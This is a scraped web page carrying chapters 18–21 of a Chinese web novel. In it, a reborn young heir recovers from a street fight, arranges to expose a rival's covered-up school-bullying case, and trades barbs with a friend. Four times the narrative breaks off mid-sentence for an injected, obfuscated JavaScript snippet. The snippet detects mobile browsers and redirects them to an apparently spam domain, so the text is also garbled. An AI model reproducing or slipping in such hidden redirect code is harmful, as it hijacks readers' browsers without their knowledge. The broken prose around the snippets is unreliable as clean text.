谢淮狠狠地皱眉,上前了一步:“背你?” 18. 第 18 章 戚栩艰难起身,半个身子倚在墙壁,因刺激运动额头冒着一层薄汗,他闭着眼睛,眼皮上的汗水沾湿了睫毛,随后呼出一口浊气,睁开眼嗤笑了一声。 “还不如拿你家的拐杖过来有用。” 说完后戚栩收起方倩的防狼伸缩棍,神情自若朝巷口走去。 只是刚踏出一步,谢淮不由分说架着戚栩的手挂在肩膀,另一只手扣住他的腰。 “那你就把我当成拐杖,我比它贵。” 戚栩反应过来的时候已经和谢淮严丝合缝地靠在一起,淡淡的木质香闻着沁人心脾,平复了他心中的躁意。 这次却不是他沉香手串的味道。 戚栩倒吸了一口凉气:“我没被他们打死,被你摁死。” 谢淮的手往臀部下移,揽着戚栩的胯:“本来就虚,现在腰受伤更虚了。” 戚栩冷着脸:“比你强。” 谢淮不和伤员计较,搭在他肩膀上手极其清瘦,却能爆发出巨大力量,手腕上空落落,某个人爱不释手的沉香手串不知所踪。 “珠子呢?” 戚栩沉默了两秒后说:“沾了肮脏的血,扔了。” 戚栩的腰受伤,走不快,半个身子借着谢谢的力在走,腰后的手不小心按在了淤伤处,谢淮还会得到一记眼神杀。 徐亦辰终于看到祖宗起身朝他们这边走了,便开口对跟着他们一同前来的少年少女们说:“今晚聚不成了,改日再聚,还是由谢淮买单。” 他们虽然没看到一打六的盛况,但还是被一进巷口看到戚栩以胜利的姿态叼着烟的模样惊到,吊炸天了。 “辰哥,那个就是今晚的神秘嘉宾?靠,帅炸了。” “谁呀,我看着有些眼熟。” “这不是生日宴当天和宋若明大打出手,沈家刚认回来的那位。” 徐亦辰皱眉:“什么刚认回来,他叫戚栩,是我的兄弟,以后见了要叫栩哥。” 众人瞅见谢淮亲自把人揽在怀里,两人异常熟络且呛声的对话,好像真的有那么一种诡异的友谊感。 这个圈子能有几个人和谢淮这么说话,一起长大的就这么几个,甚至还近距离接触谢淮,除非是本人默许。 “辰哥,有什么需要帮忙的尽管开口。” “那下次再聚,记得带上栩哥。” 戚栩走到车前,瞬间接收到一群崇拜的眼神洗礼,个个看他的眼神像是看电影里的英雄似的。 忽然,巷口跑进来一个人,他第一时间精准地找到谢淮,冲上去担忧地问:“阿淮,你受伤了吗?我刚刚看到保镖架着……” 话截然而止,沈泽予看到谢淮怀里的人。 四目相对,戚栩无声朝他笑了笑,扯到嘴角的伤皱了皱眉。 谢淮侧眼:“平时不见你笑这么欢,今天脑子被打坏了。” 戚栩从谢淮怀里直起身子,瞪了他一眼,随后他自己一个人上车。 沈泽予脸上的表情僵了僵,不知是对戚栩渗人的笑容还是面前两人明显熟络的相处。 他收拾情绪后问谢淮:“阿淮,等会我们去哪里玩?” 谢淮说:“你哥受伤了。” 沈泽予看了一眼站在身后的一群人,顾全大局的模样:“我听爸爸妈妈说他以前在乡下经常打架,这点小伤对他来说家常便饭,不要紧的,让他自己去医院就好,难得出来玩不要扫了我们大家的兴致。” 谢淮看了他一眼:“方倩也受伤了。” 沈泽予愣住了,错愕地朝车上看去,脸色煞白,结结巴巴道:“伤得很重吗?” 谢淮声音冷淡:“走不了路,今晚的聚会结束了,回家吧。” 等到谢淮上车后,沈泽予才回神过来,连忙拉住准备上车的蒋子慕,问道:“方倩为什么会和戚栩在一起?” 蒋子慕赶着上车,挣开他的手,回:“淮哥最近都在老宅,我们去找戚栩玩,刚好就碰在了一起。” 直到车辆离开巷口,沈泽予久久不能回神,好半晌才抖着手拿出手机打出一个电话。 接通后,他声嘶力竭:“你不是告诉我只是教训他吗,你的人把方倩伤了!” 二十分钟后,车辆抵达医院,门口早已有医护人员等候,估计是有人打过招呼。 戚栩和方倩一同坐上轮椅,被护士推进医院做更详细的检查。 该照的照的,该处理的处理,两个人做了一个全身检查。 方倩没大碍,只是脚腕的筋扭伤了,敷药休养一个星期。 戚栩浑身上下都有伤,乍一看很重,实则还真是小伤,最重的伤口只有两处,指骨上的擦伤和腰上的伤。 两位伤患在里面处理伤口,方倩被医生固定脚腕的时候还喊了一声,蒋子慕又跑到隔壁安慰表姐。 受伤后清洁消毒是最痛苦的,戚栩在清洁伤口的时候愣是没出过声,也没把手抽出来,就这样垂着眸静静等待护士处理。 连医生都忍不住说:“小伙子,你要是疼就出声,咱们缓缓。” 戚栩的手搭在桌上:“没事,弄吧。” 徐亦辰和谢淮站在门口。 徐亦辰脸上没了先前在包厢里的不着调,面无表情看着有些唬人:“老高他们问出什么了吗?那帮混混是谁的人。” 谢淮的眼神从没有丝毫表情的戚栩身上移开:“擅用私刑犯法,送去警察局了。” 徐亦辰吐槽:“以前怎么不见你这么遵纪守法。对了,这件事方倩不让我告诉方叔,你的意见呢?” “有你徐家还不够,再加上一个方家,唯恐天下不乱。”谢淮衣服上沾了血迹,胸前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122230|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣料印着几条褶皱,一改干净温和的形象,难得带着点痞气。 谢淮说这话的时候,徐亦辰听出了点要搞事的意思,并且这人似乎已经知道了是谁的人。 徐亦辰陷入了沉思,这次是冲着戚栩来的,近期和戚栩结仇只有宋若明一个人。 方家和宋家之前又达成协议,要是方家参与进来,这件事很有可能会不了了之。 显而易见,他们都想到了这个可能,也知道按照戚栩有仇必报的性子,这件事绝对不可能这么轻易就过去。 “沈家会为戚栩出头?”徐亦辰不相信把亲生儿子接回来一个月就往老宅送的沈家夫妇。 戚栩已经处理完伤口,额头贴着纱布,右手也包着纱布被护士推着出来。 谢淮说:“沈家不止有他们几个人。” 伤患出来后,两人停止了交谈。 徐亦辰关心地问戚栩:“还好吧。” 戚栩抬眸:“还能再打一轮。” 徐亦辰竖起拇指:“狂,太狂了。” 两部轮椅紧跟其后,方倩对谢淮说:“阿淮,我在你家住几天,等我的脚好点了才回去,不然被我妈唠叨。” 徐亦辰抗议:“为什么不到我家住!” 方倩扫了他一眼:“你妈和我妈每天都一起吃下午茶,能瞒得住吗?” 谢淮看着戚栩:“你呢,需要在我家住几天?” “不用。”戚栩下意识地摸手腕,发现手串的已经被扔了,“我回家。” 戚栩回到老宅那会儿拄着医院的拐杖直往侧院走,没打算惊动老爷子,不巧被巡夜的佣人看到。 这一家子的佣人别的不行,嗓子那是一流。 没叫几声就把还在客厅等着孙子回家的沈老爷子给惊动了,拄着拐杖被人扶着出来,看到了拄着拐杖回家的孙子。 爷孙两有福同享过了,现在有难同当。 徐亦辰背着方倩进门,隔壁院子热闹得很,院子里的灯光全开了,照亮了半边天,颇有种对簿公堂的感觉。 “阿淮,真给你说对了,这座大山可比那几个沈家人厉害多了。”他似笑非笑,“你连后路都帮人家想好了,帮人撑伞撑到这种程度,大概只有你一个人了吧。” 方倩好奇地问:“什么撑伞?” 徐亦辰还没有和方倩说过这件事:“我跟你说,阿淮和戚栩之前就结下缘,那天阳光正好……” 徐少又开始添油加火地讲故事,谢淮打断了他的话:“客房在三楼,只有楼梯。” 徐亦辰骂了一句:“你家为什么不弄电梯?” 谢淮径直地上二楼:“你去问我爷爷。” 方倩问:“你行不行?” 徐亦辰双手稳稳地撑住她的腿窝,为自己加油打气:“我超行,我比谢淮行。” 19. 第 19 章 第二天中午,戚栩起床洗漱,搭乘电梯下楼,刚想到正院吃饭,发现楼下餐厅已经摆好了午餐,沈老爷子坐在主位。 李叔见戚栩下来,连忙上去扶着他:“小少爷,你受伤了就别下来折腾,等会我让人把饭拿到你房间。” 休息了一晚腰更痛了,但胜在精神很好,身强志坚的戚栩下来找饭吃。 “不用麻烦,我的腿没伤。”戚栩被扶着走到餐桌,不能弯腰直直地坐下去。 沈老爷子冷哼了一声,眼神扫过戚栩嘴角的伤口,板着个脸:“打的时候多威风,打完之后就多狼狈。” 戚栩给自己倒了杯水:“起码没打输,不然您今天就见不到我了。” 沈老爷子拄着了一下拐杖:“打赢了又怎么样,这些只是小喽啰,要是不解决总归有第三次,第四次,身后的人你又能拿他如何。” 他看向戚栩:“想清楚了吗?” 戚栩嗯了一声:“我还是想自己解决。” 昨晚爷孙两促膝长谈,沈老爷子不知道是从哪里知道幕后指使是宋家的宋若明,结合先前发生过栽赃陷害的事,提出把自己手下的人给他,听命于他。 上辈子老爷子的人被沈枫凯用手上缺人的理由借去,之后老爷子没有再收回来,一直为沈枫凯所用,那一个团队曾经重创过他和李恺兴。 重来一世戚栩并未想过借用老爷子的权势,这不在他的范畴里,他来老宅只是弥补前世的遗憾,多陪陪老人。 沈老爷子恨铁不成钢,拍着桌子:“你能怎么解决,我沈家子孙不能白受这个气,以其人之道还治其人之身这是我的家规。” 戚栩轻描淡写却不乏决绝:“我能让他离开首都。” 沈老爷子转头看向他,眯了眯眼睛,若有所思,没有说呵斥的话语,倒是说了句:“他们宋家比不上我们沈家。” 戚栩听出这句话的言外之意,无论他做了什么,沈家永远都会为他兜底,起码老爷子是站在他这边。 戚栩想起前世他在重症病房见沈老爷子的最后一面,紧紧地握住他和沈枫凯的手动了动苍白的嘴唇却什么话都没说出来。 但戚栩知道他想说什么,老爷子希望他和沈枫凯不要再斗下去了。 沈老爷子没有详细询问他想做什么,不过药膳虽迟但到,李叔知道戚栩嘴角伤了张不开嘴,特意准备了吸管。 戚栩两眼一黑,比一打六还要胆颤。 戚栩本来就是一个眦睚必报的人,上一世在方倩成人礼时他还过于弱小,没有能力找到陷害他的人,十年过后,方倩告诉他真相,他对宋若明进行了报复。 宋家因后辈子孙的无能导致家道中落,那个时候国外深造回来的宋若明就是宋家的唯一希望,指望他把宋家从悬崖边上拉回来。 戚栩和沈枫凯争得水深火热,把沈氏斗上了好几层楼,他身为沈氏副总对付一个宋若明绰绰有余。 丑闻是压倒一个企业甚至一个家族举重轻重的稻草,尽管宋家当年花了多少财力隐瞒,戚栩挖地三尺都能将之找出来。 宋若明没有把岌岌可危的宋家从悬崖上拉回来,连同宋家一起坠落万丈深渊。 其中那件校园霸凌导致无辜学生跳楼自杀的事距离现在不过半年时间,宋家用钱把这件事压了下来,没有任何风声传出来。 18岁的戚栩手上没人,不过幸好有28岁的戚栩,当时为了找到封尘10年的校园霸凌事件他动用了隔着大洋的神秘力量,那是一个建立多年鲜为人知的黑客组织,只要钱给够,常年游走在灰色地带。 昨晚戚栩尝试用邮件联系,还真让他给联系上了,不过对方非常谨慎,询问了很多,还好戚栩熟悉他们的作风,现在只要钱到账就能干活。 不过还是需要人去受害者的家属走动,他这个模样走都费劲儿,更别说奔波。 就在戚栩打算找李恺兴的时候,佣人告知徐亦辰来了。 两人在客厅见面,徐亦辰开门见山:“方倩是我的朋友,伤了她就等同于伤了我,你的计划是什么?” 想要的人来了。 戚栩没有深究徐亦辰为什么要帮方倩出头,在他的认知里,谢,徐,方三家是共同体。 徐亦辰出手也情有可原。 戚栩把计划的部分告诉徐亦辰,当对方听到宋若明手上有人命的时候惊住了。 “我怎么没有听说过这件事。” 宋若明不是和他们一个学校,但在一个圈子他们一点风声都没听到。 戚栩没打算告诉他,给了他一个地址:“让你的人去受害者家里走动一下,和他们说我们会帮他的儿子讨回公道,并且承诺让他们安全从这件事脱身,前提是让他们提供更详细的事情经过。” 徐亦辰问:“你想让宋若明入狱?” 戚栩想了想说:“现在没有具体法律对校园霸凌这一事项的明确指示,宋若明也并非法律上的真凶,没有暴力殴打,宋家会不惜一切代价保下宋若明,他大概率是不会判刑。” 要是这件事是真的,徐亦辰要考虑得更多了:“你怎么把握让受害者家属把一切的告诉你,并且让他们安全脱离出来,这件事一旦爆出来,宋家不会放过他们的。 ” 戚栩靠着柔软的靠枕,手上把玩着从沈老爷子那抢回来的核桃,看着吊儿郎当,可口中却轻飘飘地说出了一个家族的致命内幕。 “这几年首都医院没有出现过一起医疗事故,你觉得是医生的医术高明还是宋院长的钱包实力够厚。” 轻风细雨却如同尖刀利器,直直地往敌人心脏插去。 徐亦辰贪玩,但不证明他是个不知世事的少爷,都是家族尽心培养的继承人,耳濡目染接触过多种事物,也深知每个家族的弯弯道道。 他们知道这些并不奇怪,但戚栩为什么会知道。 “你怎么会知道这些?” 戚栩笑笑,玩笑道:“你就当我跳大神知道的。” 徐亦辰以为是沈老爷子动用了自己手底下的人查到了这些事,毕竟沈老爷子当年也是说一不二的当家人。 “行,那按照你的计划。”徐亦辰指了指桌上的东西:“这是方倩给你的,她说你喜欢玩游戏,刚好你行动不便,可以用来解闷。” 戚栩挑眉看着最新款的游戏机,想到昨天在车上玩的贪吃蛇单机小游戏,随口说了一句喜欢玩游戏。 “替我谢谢她。” 他想到了一件事:“对了,尾号8876是谁的手机号?” 徐亦辰说:“阿淮的电话,怎么了?” 戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122231|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栩怔愣了一秒似乎没想到,昨天这人并没有加他的联系方式,但又有他的电话。 “没,问问。” 徐亦辰再和戚栩聊了一会儿事后就告辞,去隔壁谢家了。 徐亦辰一进门迫不及待和谢淮说这件事,完了后忍不住说:“阿淮,我找到这个世界上另一个你,他的行事风格和你一模一样,手段强硬,怪不得你对他一见钟情,原来是看到自己了。” 谢淮抬眸看他:“你的中文造诣登峰造极,一见钟情是这样用的吗?” 徐亦辰反问:“那你说说为什么一次次对他出手相助?” 谢淮合起书本:“爱好当雷锋需要什么理由?” 徐亦辰白了他一眼,把自己的顾虑和他说:“如果有一天戚栩成为我们的敌人,结局将是如何?” “你所说的如果并不成立。”谢淮倒没有这些顾虑,语气笃定,“他不会成为我们的敌人。” 徐亦辰问:“为什么?就凭你们两家老人的交好,那也不能延续这么久吧,后续的事谁也说不准。” “因为他不屑于我们为敌,也不屑于和我们交好。”谢淮不紧不慢地说,“你没觉得他和我们所相处的任何人都不一样吗?若即若离,可以随时抽身,习惯孑然一身。” 被谢淮这么一说,徐亦辰还真觉得如此,戚栩对他们态度不卑不屈,丝毫不把他们当做高高在上的家族继承人,不论身后的势力如何只手遮天,一如既往地应付式交友。 就好比刚刚,吩咐他做事的态度宛如对待下属般,丝毫不客气。 徐亦辰还想说什么,楼上传来方倩的声音:“徐亦辰,我的下午茶呢?” 徐亦辰虎躯一震,连忙接过佣人手里的小蛋糕送上楼。 谢淮看到徐亦辰没出息的模样觉得好笑,无语地扯了扯嘴角。 手机震了震,他拿出手机查看信息,通讯录多了个红点。 vx头像全黑,vx名混吃等死,添加理由:昨晚的医药费是多少,我转给你。 是还债人。 通过好友后,谢淮给对面发了一份电子账单。 X:【5200,你没首都的医保。】 混吃等死:【……】 戚栩现在手头是真缺钱,还要养刚建立的公司,是时候考虑把手头的蓝宝石卖了变现。 混吃等死:【支持以物抵债吗?】 X:【看看什么物。】 混吃等死:【我把香炉先抵给你,你也知道它的价钱,多出来的钱就麻烦你每天上一支香。】 谢淮确实知道香炉价钱,进货价只有5000,怎么说也是他亏。 X:【你这是为了你的香炉找了一个免费每天勤勤恳恳上香的人。】 混吃等死:【我又不是不给钱。】 X:【我这么便宜?】 混吃等死:【那你想怎么样?】 X:【不怎么样,欠着吧,对你的香炉没兴趣。】 戚栩不喜欢欠钱,还是问了。 混吃等死:【那你对什么有兴趣?】 戚栩始终没有得到谢淮的回复,索性把理财的钱挪了一部分出来还债用。 转账后一秒,对方收钱了。 问题不回复,收钱倒是挺快的。 20. 第 20 章 戚栩捣鼓了游戏机好一会儿,没弄明白,他本就不是一个爱玩游戏的人,单机小游戏也只是解解闷。 他点开app查看了一眼理财收益,看到逐日高涨的收益满意地放下手机。 利用重生一世这个天降优点,算是投机取巧,戚栩后悔那时的自己怎么对彩票没兴趣。 戚栩平躺在沙发上,腰后垫着柔软毯子,打算闭目养神。 一旁的手机响了。 戚栩接通:“你好。” “小栩。” 戚栩睁开了眼睛:“有事吗?” 对面的语气依旧温柔:“妈妈想你了,什么时候回家?” 戚栩盯着头顶的吊灯看:“我不回去了,开学直接去学校。” 曾云明显被这个回答弄怔愣了,许久后才恢复情绪,尝试缓解两人之间一直存在的尴尬:“枫凯给你和泽予订了一辆车作为成年礼物,你喜欢什么颜色?” 戚栩不困了:“黑色吧。” 曾云说:“那刚好,给泽予订的那辆是黑色的,他说车库里的车太多不想让枫凯破费,小栩,你介意吗?” 戚栩面无表情:“不介意,谢谢妈妈。” 他一顿:“谢谢大哥。” 这件事完毕后,曾云沉默了许久,戚栩察觉到对方想要开口的心:“您还有什么事?” 曾云犹豫着:“小栩,你是不是又打架了,还要麻烦谢淮那孩子送你去医院。” 戚栩觉得好笑,但没笑出来:“最近您最好别让沈泽予出门,说不定发生在我身上的事,有一天会发生在他身上。” 一旁传来沈卓海的声音:“他是什么意思,如果不是泽予告诉我们,我还以为他改过自新,从老宅把他接回来……” 戚栩懒得再听下去,直接挂了电话。 沈家是困不住沈泽予,特别是他已经知道谢淮在老宅,顶着事窗东发的可能也要飞蛾扑火。 下午,沈泽予拎着大包小包美名其曰探望沈老爷子。 他从来都没有过单独来过老宅,也和老爷子并不亲近,只是谢沈两家相邻,要是连自己家都不进直接去谢家,目的过于明显。 沈老爷子不咸不淡应了一声。 沈泽予把东西递给李叔,等待老爷子的吩咐。 老爷子一如既往叫他进书房练字,只不过沈泽予没什么耐心,随便写完一张后自己离开。 李叔拿着沈泽予刚刚写的字进茶室:“泽予少爷写完字高高兴兴去了谢家。” 沈老爷子扫了眼那副四不像的字,没做更多的评价:“随他吧,这孩子醉翁之意不在酒。” 沈泽予晚上更是连自己家都不回,直接留宿在谢家。 沈泽予没有在戚栩身边晃悠,甚至没在沈宅留宿,让戚栩过了两天清净的日子,伤也好得更快了。 两天后的晚上,戚栩收到关于霸凌事件完整始末的邮件,刚想联系徐亦辰,电话响了,却不是给他发邮件的人,而是谢淮。 “有事?”戚栩开口。 谢淮也没过多废话:“徐亦辰问你怎么曝光?在国内发布必定会遭到拦截,你需不需要他这边的帮助。” 戚栩在院子里听从沈老爷子的话做复健,坐在运动器材上没动:“不需要,我已经找好人了。” 他听见谢淮问:“你自己有把握全身而退吗?” 戚栩轻笑了一声:“我从来不做没有把握的事。” 谢淮沉默了半晌:“最好是。” 戚栩问:“徐亦辰呢?” 话音刚落,从隔壁院子传来嬉闹的声音,戚栩也闻到飘过来阵阵烤肉的味道。 他说:“你们的夜生活还挺多姿多彩。” “羡慕?”谢淮说,“徐义辰没邀请你?” 邀请倒是邀请了,戚栩不想去。 他蹬了两下器材:“不羡慕,做完运动我要睡了,你让他们小声点,别吵着我睡觉。” 谢淮嘲讽:“老大爷都你比矫健,蹬两下就叫运动?” 戚栩闻言转头,第一时间看向围墙,以为谢淮爬上围墙偷窥。 手机传来声音:“不在围墙,三楼平台。” 戚栩听到指示,仰头去看隔壁三楼平台,栏杆处确实有一个身影,但因为没开灯,戚栩看不清楚。 “你的眼睛真行,隔着那么远都看得这么清楚,以后要开战斗机啊。” “这么大个人看不见,我瞎。” 戚栩连续蹬了两下运动器材,正打算挂断电话的时候,手机传来一声:“阿淮。” 声音很近,应该是站在身旁。 “烧烤好了,我拿了几串上来,还有饮料,我们一边吃一边……” 戚栩挂了电话,从器械上起身,慢悠悠地进了屋子。 电话传来忙音,对方没说一句话就挂了电话,谢淮看向隔壁院子,某个人像个大爷似的走进去,看都没看他们这边。 “你们吃吧。” 沈泽予手上的烧烤火候刚好,酥脆的皮和鲜嫩多汁的肉,证明烧烤的人用了不少心思。 “我烤了很多呢,蒋子慕说很好吃,刚到的牛肉特别新鲜,你最喜欢的,你试试看嘛。” 谢淮看了一眼手机:“我还有事,你下去和他们玩得开心。” 沈泽予叫住了他,表情有些委屈:“是不是戚栩和你说了什么,让你觉得我沈泽予是个十恶不赦的人,可是这一切都不是我愿意造成的,我也很痛苦,如果他想一切都回归原位,我可以离开沈家。” 谢淮眉头轻皱:“他没和我说什么,既然沈叔说过让你留下来,以后就别说这些话。” 沈泽予抿了下嘴:“那你是觉得我留下来一切都和以前一样吗?你不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122232|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我每天听了多少风言风语,就连你,也因为这件事而疏远我……” 谢淮打断了他的话,语气轻描淡写,但听得对方心里一凛:“倒也不必在我头上扣这么大的一顶帽子,我和你只是同学关系,我没这么闲去管这些与我无关的事。” 他把手机放回口袋,没管沈泽予发白的脸色转身离开。 同学关系这四个重重砸在了沈泽予的心底,他红着眼眶看着离去的背影,他们连朋友都不是吗。 当天晚上沈泽予没有和任何人打招呼回了沈家老宅,并且翌日早上也没有再去谢家。 临近中午沈泽予从下楼接到朋友的电话。 “泽予,你知道宋若明出事了吗?” 沈泽予昨晚哭过,声音沙哑:“什么事?” “宋若明校园霸凌导致一个学生自杀,昨晚凌晨被爆出来,现在劈天盖地都是报道,指名道姓宋家二少宋若明,记者把宋家给围了,拍到宋若明被带走调查。” 沈泽予的心一窒,宋若明不是说这件事已经被宋家给摆平了么,怎么还会爆出来。 朋友喊了好几声沈泽宇,没有得到回应便把电话挂了。 沈泽予被挂了电话还不自知,握着手机久久不能平复。 戚栩一脸神清气爽地到正院餐厅用餐,这也是和沈泽予第一次在老宅碰面。 嘴上的伤好得差不多,戚栩朝沈泽予笑了笑:“早上好弟弟。” 这个笑容让沈泽予回想起那天在酒吧后巷戚栩对他无言的笑。 沈泽予紧紧地盯着他:“是不是你。” 没头没尾来了一句,让人一头雾水。 戚栩坐下来,缓缓道:“是不是我能改变什么吗。” 两人没能一起吃早餐,沈枫凯亲自到老宅把沈泽予接走。 沈枫凯到的时候戚栩正悠闲地吃早餐。 “爷爷呢?” 戚栩头也没抬地回:“和谢老去钓鱼了。” 沈泽予连行李都没收拾就上车了,沈枫凯让人去收拾,自己则走到戚栩面前,居高临下。 “你没有这个能力做到这些,我知道徐亦辰在帮你,可你不同徐亦辰,他身后有徐家,宋家不敢对他下手,那你呢,为什么不和我商量就擅自做这些事。” 沈枫凯看到戚栩握着筷子的手包着纱布,一愣。 “和你?”戚栩笑得散漫,“宋家和你家有合作,叫我忍忍就过去,还是说,让我去和宋若明道歉达成和解。” 沈枫凯不悦戚栩这副和他撇清关系的态度:“宋家迟早会查到你身上,跟我回家。” 戚栩送客:“慢走不送。” 佣人拿着沈泽予的行李下楼,沈枫凯脸色深沉却不好在老宅对戚栩训话。 沈枫凯离开前在戚栩面前放了一把车钥匙,不知算补偿还是什么,戚栩倒是挺欣喜的。 21. 第 21 章 戚栩还没看到车,徐亦辰一早来谢家就看到停在沈家门口那辆最新款跑车,脸上都是羡慕,朝着院里大喊:“戚栩,你的车吗?” 戚栩吃完早餐出来,手里抛着钥匙:“我的车。” “我的那款还没到,这车是加钱加急送过来的吧。”徐亦辰朝戚徐招了招手,后者朝他扔了把钥匙,“用了多少钱啊,早知道我勒紧裤腰带也加点钱,不至于现在等到脖子都长了。” 徐亦辰迫不及待地打开车门坐到驾驶座感受新车。 “不知道,沈枫凯买的。”戚栩走到驾驶座弯腰看车内配饰。 谢淮和方倩在院子里听到徐亦辰大嗓门,走出门看到这两人有说有笑,戚栩单手搭在车门俯下身,纨绔子弟地做派:“可以借给徐少开开。” 徐亦辰受宠若惊,双手摸了一把方向盘:“算了吧,你是车主人,你碰都没碰我就开,君子不夺人所好。” 他抬头看到谢淮出现在车前,朝他按了下喇叭:“我开阿淮的车就好,他车库可多车了。” 戚栩闻言直起身子退开,徐亦辰提议:“好久没出门了,不如开车出门玩玩?” 方倩的脚好得差不多,已经不需要拐杖走路,只是走得比以前慢一些。 “好久没出门?前几天出门把我和戚栩弄成这个鬼样子,你还想去哪玩。” 徐亦辰从车里下来:“你这种思想典型的一朝被蛇咬十年怕井绳,更何况麻烦已经被解决,有我和阿淮寸步不离,这一次出不了什么意外。” 方倩知道今早出的新闻,好奇地问:“宋若明的事是你们爆出来的?你们为民除害啊。” 徐亦辰不好把功劳一个人揽在身上,对着戚栩扬了扬下巴:“第一推手,我是第二推手,那边那个勉强算第三吧。” 戚栩看向谢淮,还真不知道这人出手了:“你干了什么?” 谢淮淡声道:“报道的文章限流,花了点钱上推荐。” 戚栩:“……” 好一个推波助澜。 “走吧,我们去接蒋子慕,这人嚷嚷着要见戚栩,我开阿淮的车,你们俩刚好一辆车。”徐亦辰说一不二,带着方倩去车库。 戚栩刚想坐上驾驶座,谢淮抬手拦住了:“你有驾照?” “……”戚栩这才意识到现在他只有18岁,还没有来得及考驾照,白白浪费了高三暑假。 “没有。” 谢淮皱眉:“没有就敢上车,想去吃国家饭。” 戚栩朝副驾驶走去:“不想,你来开。” 上了车后戚栩看到从车库开出一辆玛莎拉蒂,问:“徐亦辰有驾照?” 谢淮系上安全带:“上个星期刚拿到手。” 戚栩有点羡慕住了,其实老司机去考驾照才是最难的,谁家好人侧方停车,倒车入库完完全全按照教练教的来,都是自己的经验所得,现在让他重新考一次,那就是让他把经验忘记,完全的应试考试。 “又羡慕了?”谢淮转头看他。 戚栩点头:“羡慕。” 难得听到戚栩承认自己所想,谢淮说:“大一课程不多,周末可以学车。” 戚栩在脑子里规划了一番:“还有一个星期开学,先报科目一。” 谁干就干,戚栩拿手机出来自个报名。 谢淮跟上了前面的玛莎拉蒂:“很着急?” “不然呢,我这新车你是第一个开上路的人。”戚栩低头划着手机屏幕,不过心道,“我羡慕嫉妒恨啊。” 谢淮纠正:“我不是第一个,你哥应该是第一个。” 戚栩挑了挑眉没说话。 抵达画室楼下,戚栩看着谢淮熟练地侧方停车,游刃有余,宛如老司机。 戚栩依稀记得谢淮好像喜欢玩赛车,上一世他在家看到沈泽予拿着几套新买的赛车服让沈枫凯给意见,问哪一套好看,周末谢淮带他去玩赛车。 戚栩无言扫看着谢淮,后者停好车后转头,四目相对,谁也没有说话。 视线交汇,空气滞住一瞬,似乎谁也没想到会对视。 气氛有那么一瞬间说不上来的奇怪。 戚栩下意识地摸了一下手腕,再一次落空,看来再买一串沉香木手链要提上日程。 车外的徐亦辰抬手敲了敲车窗:“戚栩,蒋子慕让你上去接他,多大人了还要人上去接。方倩腿脚不好,我就不上去,麻烦你了。” 声响打破了这份怪异,戚栩低头解开安全带:“多大点事,几楼?” 徐亦辰说:“6楼,寻觅画室。” 戚栩下车,驾驶座的人也跟着下车。 徐亦辰见状问:“干嘛呢?” “无聊,上去看看。”谢淮关上车门。 徐亦辰奇怪地看着他:“你不会是酒吧后巷PTSD,不放心他一个人吧。” 谢淮无语地说:“我自费给你请个语文老师,麻烦你提升一下你的语文理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122233|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力。” 已经两次被理科状元提出中文差,徐亦辰开始怀疑自我:“我高考语文125,应该算是平均以上吧,有这么差吗?” 谢淮没多说什么,看着仿佛徐亦辰无药可救,点头嗯了一声,然后走进大楼,在电梯关门那一瞬走进了进去。 电梯里的戚栩扫了谢淮一眼没说话,面无表情倚着电梯。 蒋子慕在电梯门口等着人,一看到戚栩出来连忙迎了上去:“栩哥,淮哥。” 从戚栩在酒吧后巷保护方倩那天起,蒋子慕对戚栩的称呼变成栩哥,五人里,蒋子慕的年龄最小,叫谁都是哥。 “耽误你一点点时间,能跟我进画室露个脸吗,他们都不信我找到了完美的人体模特。” 戚栩听蒋子慕说过好几次,甚至初见的时候就在说要画他,他以前没接触过艺术,不太理解地问:“你为什么这么执着画我。” 蒋子慕脱口而出:“因为你天生就是被画的。” 他顿了下,察觉到身后的两束目光,特别是最后那一束,盯着他有那么一点刺挠,让他非常有压迫感。 “当然,不经过你的允许我是不会画你的,我就是想让他们欣赏你。” 不知是不是蒋子慕提前通知画室的人,一群人候在门口,戚栩一出现,感受到无数炽热的眼神盯着他看,像蒋子慕第一次看到他一样。 